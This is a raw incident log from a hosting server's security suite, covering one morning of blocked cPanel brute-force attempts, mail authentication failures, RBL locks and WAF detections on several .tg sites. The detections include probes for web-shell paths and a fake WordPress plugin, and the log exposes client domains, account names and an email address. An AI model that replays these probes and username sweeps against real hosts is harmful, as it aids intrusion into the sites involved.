Jun 28 06:14:19 ns5 auth[58168]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.15.171.67 has been locked due to Imunify RBL


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 134.255.243.139
country_id: 2635167
domain: www.snb.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.21||T:APACHE||RA:134.255.243.139||TA:134.255.243.139||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 159.26.103.109
country_id: 6252001
description:
[2026-06-28 06:18:58 +0000] info [cpaneld] 159.26.103.109 - arsetg "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 112.26.74.90
country_id: 1814991
description:
Jun 28 06:21:40 ns5 auth[58168]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 112.26.74.90 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.145.43.189
country_id: 2510769
description:
Jun 28 06:21:01 ns5 auth[58168]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.145.43.189 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 112.26.74.90
country_id: 1814991
description:
2026-06-28 06:21:42 dovecot_login authenticator failed for H=([72.195.34.34]) [112.26.74.90]:47766: 535 Incorrect authentication data (set_id=support@anrtogo.tg)


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 217.181.69.119
country_id: 6252001
domain: www.snb.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.21||T:APACHE||RA:217.181.69.119||TA:217.181.69.119||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 68.183.245.101
country_id: 1269750
description:
68.183.245.101 - - [28/Jun/2026:06:26:43 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13157783&pdata=http%253A%252F%252Fsocial-infos.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782628002 HTTP/1.1" 302 0 social-infos.tg "http://social-infos.tg/" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:68.183.245.101


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 203.9.211.170
country_id: 1282988
description:
[2026-06-28 06:31:53 +0000] info [cpaneld] 203.9.211.170 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 186.251.165.69
country_id: 3469034
description:
[2026-06-28 06:32:13 +0000] info [cpaneld] 186.251.165.69 - mesys "GET /login/?login_only=1&user=mesys&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mesys (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 46.138.89.63
country_id: 2017370
description:
[2026-06-28 06:32:16 +0000] info [cpaneld] 46.138.89.63 - mesy "GET /login/?login_only=1&user=mesy&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mesy (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 14.192.213.55
country_id: 1733045
description:
[2026-06-28 06:31:58 +0000] info [cpaneld] 14.192.213.55 - mesyscom "GET /login/?login_only=1&user=mesyscom&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mesyscom (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 77.137.78.26
country_id: 294640
description:
[2026-06-28 06:32:01 +0000] info [cpaneld] 77.137.78.26 - mesyscomcom "GET /login/?login_only=1&user=mesyscomcom&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mesyscomcom (has_cpuser_file failed)


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 31.204.133.200
country_id: 6252001
description:
Denial of Service (DoS) attack was discovered from 31.204.133.200: 80 connections per 30 seconds to 53 port.


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 184.163.78.125
country_id: 6251999
description:
[2026-06-28 06:32:22 +0000] info [cpaneld] 184.163.78.125 - me "GET /login/?login_only=1&user=me&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user me (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 168.228.205.51
country_id: 3469034
description:
[2026-06-28 06:32:05 +0000] info [cpaneld] 168.228.205.51 - mesysco "GET /login/?login_only=1&user=mesysco&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mesysco (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 37.221.145.52
country_id: 690791
description:
Jun 28 06:33:34 ns5 auth[58168]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 37.221.145.52 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 102.23.36.45
country_id: 2361809
description:
[2026-06-28 06:36:44 +0000] info [cpaneld] 102.23.36.45 - dgdntogo "GET /login/?login_only=1&user=dgdntogo&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 187.190.25.32
country_id: 3996063
description:
[2026-06-28 06:36:47 +0000] info [cpaneld] 187.190.25.32 - dgdntogotg "GET /login/?login_only=1&user=dgdntogotg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dgdntogotg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 179.221.201.57
country_id: 3469034
description:
[2026-06-28 06:36:51 +0000] info [cpaneld] 179.221.201.57 - dgdntog "GET /login/?login_only=1&user=dgdntog&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dgdntog (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 179.38.218.88
country_id: 3865483
description:
[2026-06-28 06:37:00 +0000] info [cpaneld] 179.38.218.88 - dgdn "GET /login/?login_only=1&user=dgdn&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dgdn (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 190.6.15.177
country_id: 3625428
description:
[2026-06-28 06:37:08 +0000] info [cpaneld] 190.6.15.177 - dg "GET /login/?login_only=1&user=dg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 175.138.38.56
country_id: 1733045
description:
[2026-06-28 06:36:54 +0000] info [cpaneld] 175.138.38.56 - dgdnto "GET /login/?login_only=1&user=dgdnto&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dgdnto (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 79.106.203.109
country_id: 783754
description:
[2026-06-28 06:36:58 +0000] info [cpaneld] 79.106.203.109 - dgdnt "GET /login/?login_only=1&user=dgdnt&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dgdnt (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 38.191.219.26
country_id: 3686110
description:
[2026-06-28 06:37:03 +0000] info [cpaneld] 38.191.219.26 - dgd "GET /login/?login_only=1&user=dgd&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dgd (has_cpuser_file failed)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 177.220.230.67
country_id: 3469034
domain: tdn.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/tdn.tg/optimisation-data-astuces-togocom/ HTTP/1.1||RSV:8.21||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.227.96.241
country_id: 3469034
description:
Jun 28 06:38:48 ns5 auth[58168]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.227.96.241 has been locked due to Imunify RBL


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 38.137.54.108
country_id: 1269750
domain: istm.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:37424.istm.tg||ServerName:istm.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:2fdbc75f6ba0b8cbaee4cc46c8343e91e2bce509||Title:0x4010f0ac||RSV:8.21||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.227.96.241
country_id: 3469034
description:
Jun 28 06:38:56 ns5 auth[58168]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.227.96.241 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 212.252.73.10
country_id: 298795
description:
212.252.73.10 - - [28/Jun/2026:06:44:15 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13066903&pdata=https%253A%252F%252Fcfpj.tg%252Fkeoo-25135hetidm51t.htm&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782629052 HTTP/1.1" 302 0 cfpj.tg "https://cfpj.tg/keoo-25135hetidm51t.htm" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:212.252.73.10


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 186.158.236.252
country_id: 3865483
description:
[2026-06-28 06:48:27 +0000] info [cpaneld] 186.158.236.252 - dgd "GET /login/?login_only=1&user=dgd&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dgd (has_cpuser_file failed)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 20.219.145.150
country_id: 1269750
domain: snbrasseriecom.snb.tg
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.21||T:APACHE||MV:/wp-content/uploads/admin.php||SC:/home/bighostingsnbd/public_html/wp-content||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 27.71.121.94
country_id: 1562822
description:
[2026-06-28 06:48:09 +0000] info [cpaneld] 27.71.121.94 - dgdntogo "GET /login/?login_only=1&user=dgdntogo&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 5.187.45.197
country_id: 2017370
description:
[2026-06-28 06:48:15 +0000] info [cpaneld] 5.187.45.197 - dgdntog "GET /login/?login_only=1&user=dgdntog&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dgdntog (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 168.196.136.129
country_id: 3469034
description:
[2026-06-28 06:48:20 +0000] info [cpaneld] 168.196.136.129 - dgdnt "GET /login/?login_only=1&user=dgdnt&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dgdnt (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 5.38.28.75
country_id: 290557
description:
[2026-06-28 06:48:06 +0000] info [cpaneld] 5.38.28.75 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 186.158.238.136
country_id: 3865483
description:
[2026-06-28 06:48:18 +0000] info [cpaneld] 186.158.238.136 - dgdnto "GET /login/?login_only=1&user=dgdnto&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dgdnto (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 190.153.16.229
country_id: 3625428
description:
[2026-06-28 06:48:24 +0000] info [cpaneld] 190.153.16.229 - dgdn "GET /login/?login_only=1&user=dgdn&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dgdn (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 87.200.68.243
country_id: 290557
description:
[2026-06-28 06:48:31 +0000] info [cpaneld] 87.200.68.243 - dg "GET /login/?login_only=1&user=dg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 178.120.59.164
country_id: 630336
description:
[2026-06-28 06:48:12 +0000] info [cpaneld] 178.120.59.164 - dgdntogotg "GET /login/?login_only=1&user=dgdntogotg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dgdntogotg (has_cpuser_file failed)


plugin: modsec
rule: 77350295
name: IM360 WAF: Interaction with fake plugin
abuser: 20.219.145.150
country_id: 1269750
domain: snbrasseriecom.snb.tg
description:
IM360 WAF: Interaction with fake plugin||MV:/wp-content/plugins/WordPressCore/||WPU:||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 20.219.145.150
country_id: 1269750
domain: snbrasseriecom.snb.tg
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.21||T:APACHE||MV:/images/index.php||SC:/home/bighostingsnbd/public_html/images/index.php||


plugin: modsec
rule: 77350586
name: IM360 WAF: Suspicious access to wp-includes library directory
abuser: 20.219.145.150
country_id: 1269750
domain: snbrasseriecom.snb.tg
description:
IM360 WAF: Suspicious access to wp-includes library directory||SC:/home/bighostingsnbd/public_html/wp-includes||RSV:8.21||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.121.121
country_id: 1880251
description:
47.128.121.121 - - [28/Jun/2026:06:49:13 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10185373&pdata=https%253A%252F%252Ftogomedia24.tg%252Ftag%252Ftogo-gabon-eliminatoires-can-feminine-victoire-eperviers-dames%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782629352 HTTP/2.0" 302 0 togomedia24.tg "https://togomedia24.tg/tag/togo-gabon-eliminatoires-can-feminine-victoire-eperviers-dames/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.121.121


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.120.105.4
country_id: 3469034
description:
Jun 28 06:50:16 ns5 auth[58168]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.120.105.4 has been locked due to Imunify RBL


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 103.157.168.44
country_id: 1269750
domain: www.snb.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.21||T:APACHE||RA:103.157.168.44||TA:103.157.168.44||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.151.159.67
country_id: 3865483
description:
Jun 28 06:54:27 ns5 auth[58168]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.151.159.67 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 39.100.91.113
country_id: 1814991
description:
Jun 28 06:54:44 ns5 auth[58168]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 39.100.91.113 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 194.44.78.232
country_id: 690791
description:
Jun 28 06:54:07 ns5 auth[58168]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 194.44.78.232 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 123.6.49.12
country_id: 1814991
description:
123.6.49.12 - - [28/Jun/2026:06:55:37 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7118230&pdata=http%253A%252F%252F24heureinfo.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782629733 HTTP/1.1" 302 0 24heureinfo.tg "http://24heureinfo.tg/" "Mozilla/5.0 (Linux; Android 11; CPH2185) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:123.6.49.12


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 123.6.49.44
country_id: 1814991
description:
123.6.49.44 - - [28/Jun/2026:06:56:06 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9792881&pdata=http%253A%252F%252F24heureinfo.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782629764 HTTP/1.1" 404 561 24heureinfo.tg "http://24heureinfo.tg/" "Mozilla/5.0 (Linux; Android 11; CPH2185) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:123.6.49.44


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 102.64.169.7
country_id: 2363686
description:
[2026-06-28 06:56:48 +0000] info [webmaild] 102.64.169.7 - hboroze@caissederetraites.tg "GET /cpsess3906227606/3rdparty/roundcube/?_task=mail&_action=list&_layout=widescreen&_mbox=INBOX&_page=1&_remote=1&_unlock=loading1782629809579&_=1782503812972 HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 102.64.169.7
country_id: 2363686
description:
[2026-06-28 06:56:54 +0000] info [webmaild] 102.64.169.7 - hboroze@caissederetraites.tg "GET /cpsess3906227606/3rdparty/roundcube/?_task=mail&_action=list&_layout=widescreen&_mbox=INBOX&_page=1&_remote=1&_unlock=loading1782629814819&_=1782503812973 HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: modsec
rule: 77987062
name: IM360 WAF: GET add-to-cart flood pattern
abuser: 43.173.181.174
country_id: 1880251
domain: soena.tg
description:
IM360 WAF: GET add-to-cart flood pattern||URI:/product-category/bouffe/osouper/nos-crepes/?add-to-cart=2103||QS:add-to-cart=2103||RSV:8.21||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 154.70.82.243
country_id: 2363686
description:
2026-06-28 06:58:05 dovecot_login authenticator failed for H=(Nas) [154.70.82.243]:44944: 535 Incorrect authentication data (set_id=support@cloud-et-racks.tg)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 183.182.117.192
country_id: 1655842
description:
[2026-06-28 06:59:14 +0000] info [cpaneld] 183.182.117.192 - dgdnto "GET /login/?login_only=1&user=dgdnto&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dgdnto (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 130.255.92.98
country_id: 99237
description:
[2026-06-28 06:59:01 +0000] info [cpaneld] 130.255.92.98 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 189.139.33.103
country_id: 3996063
description:
[2026-06-28 06:59:16 +0000] info [cpaneld] 189.139.33.103 - dgdnt "GET /login/?login_only=1&user=dgdnt&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dgdnt (has_cpuser_file failed)


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 104.252.49.101
country_id: 6251999
domain: 24heureinfo.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.21||T:APACHE||RA:104.252.49.101||TA:104.252.49.101||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 179.127.253.101
country_id: 3469034
description:
[2026-06-28 07:06:20 +0000] info [cpaneld] 179.127.253.101 - dgdnto "GET /login/?login_only=1&user=dgdnto&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dgdnto (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 171.7.238.152
country_id: 1605651
description:
[2026-06-28 07:06:07 +0000] info [cpaneld] 171.7.238.152 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 212.13.147.23
country_id: 1522867
description:
[2026-06-28 07:06:14 +0000] info [cpaneld] 212.13.147.23 - dgdntogotg "GET /login/?login_only=1&user=dgdntogotg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dgdntogotg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 186.10.155.228
country_id: 3895114
description:
[2026-06-28 07:06:23 +0000] info [cpaneld] 186.10.155.228 - dgdnt "GET /login/?login_only=1&user=dgdnt&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dgdnt (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 87.248.239.122
country_id: 2017370
description:
[2026-06-28 07:06:25 +0000] info [cpaneld] 87.248.239.122 - dgdn "GET /login/?login_only=1&user=dgdn&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dgdn (has_cpuser_file failed)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 154.192.48.217
country_id: 1168579
domain: www.macite.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.macite.tg/ HTTP/1.1||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 154.192.48.217
country_id: 1168579
domain: www.macite.tghttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.macite.tghttp/www.macite.tg/ HTTP/1.1||RSV:8.21||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 154.255.100.111
country_id: 2589581
description:
[2026-06-28 07:06:12 +0000] info [cpaneld] 154.255.100.111 - dgdntogo "GET /login/?login_only=1&user=dgdntogo&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 198.163.194.127
country_id: 1512440
description:
[2026-06-28 07:06:28 +0000] info [cpaneld] 198.163.194.127 - dgd "GET /login/?login_only=1&user=dgd&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dgd (has_cpuser_file failed)


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 38.247.143.228
country_id: 6252001
domain: www.snb.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.21||T:APACHE||RA:38.247.143.228||TA:38.247.143.228||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 200.189.14.84
country_id: 3469034
description:
[2026-06-28 07:09:14 +0000] info [cpaneld] 200.189.14.84 - dgdntogotg "GET /login/?login_only=1&user=dgdntogotg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dgdntogotg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 190.142.225.98
country_id: 3625428
description:
[2026-06-28 07:09:34 +0000] info [cpaneld] 190.142.225.98 - dg "GET /login/?login_only=1&user=dg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 182.48.68.20
country_id: 1210997
description:
[2026-06-28 07:09:11 +0000] info [cpaneld] 182.48.68.20 - dgdntogo "GET /login/?login_only=1&user=dgdntogo&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 160.177.175.201
country_id: 2542007
description:
[2026-06-28 07:09:21 +0000] info [cpaneld] 160.177.175.201 - dgdnt "GET /login/?login_only=1&user=dgdnt&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dgdnt (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 185.24.61.241
country_id: 99237
description:
[2026-06-28 07:09:24 +0000] info [cpaneld] 185.24.61.241 - dgdn "GET /login/?login_only=1&user=dgdn&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dgdn (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 79.177.145.12
country_id: 294640
description:
[2026-06-28 07:09:07 +0000] info [cpaneld] 79.177.145.12 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 220.83.181.146
country_id: 1835841
description:
[2026-06-28 07:10:34 +0000] info [cpaneld] 220.83.181.146 - root "POST /login/ HTTP/1.1" FAILED LOGIN cpaneld: root login is not permitted to cpaneld


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 102.223.231.34
country_id: 953987
description:
[2026-06-28 07:10:38 +0000] info [cpaneld] 102.223.231.34 - support "POST /login/ HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user support (has_cpuser_file failed)


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 132.255.132.171
country_id: 3996063
domain: www.snb.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.21||T:APACHE||RA:132.255.132.171||TA:132.255.132.171||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 91.99.197.252
country_id: 2921044
description:
[2026-06-28 07:12:26 +0000] info [cpaneld] 91.99.197.252 - tkpangbanou "POST /login/ HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user tkpangbanou (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 222.104.205.147
country_id: 1835841
description:
[2026-06-28 07:13:15 +0000] info [cpaneld] 222.104.205.147 - Administrator "POST /login/ HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user Administrator (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 154.70.82.245
country_id: 2363686
description:
2026-06-28 07:13:24 dovecot_login authenticator failed for H=(cloud.netmaster.tg) [154.70.82.245]:37112: 535 Incorrect authentication data (set_id=support@cloud-et-racks.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 37.221.140.103
country_id: 690791
description:
Jun 28 07:17:31 ns5 auth[58168]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 37.221.140.103 has been locked due to Imunify RBL


plugin: modsec
rule: 77140942
name: IM360 WAF: Possible WordPress Dashboard access for infectors
abuser: 102.64.217.241
country_id: 2363686
domain: vitrinenews.tg
description:
IM360 WAF: Possible WordPress Dashboard access for infectors||RSV:8.21||T:APACHE||MV:/wp-json/wp/v2/users/2?context=view&_fields=id%2Cname&_locale=user||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 178.104.148.72
country_id: 2921044
description:
[2026-06-28 07:19:11 +0000] info [cpaneld] 178.104.148.72 - moderator "POST /login/ HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user moderator (has_cpuser_file failed)


plugin: ossec
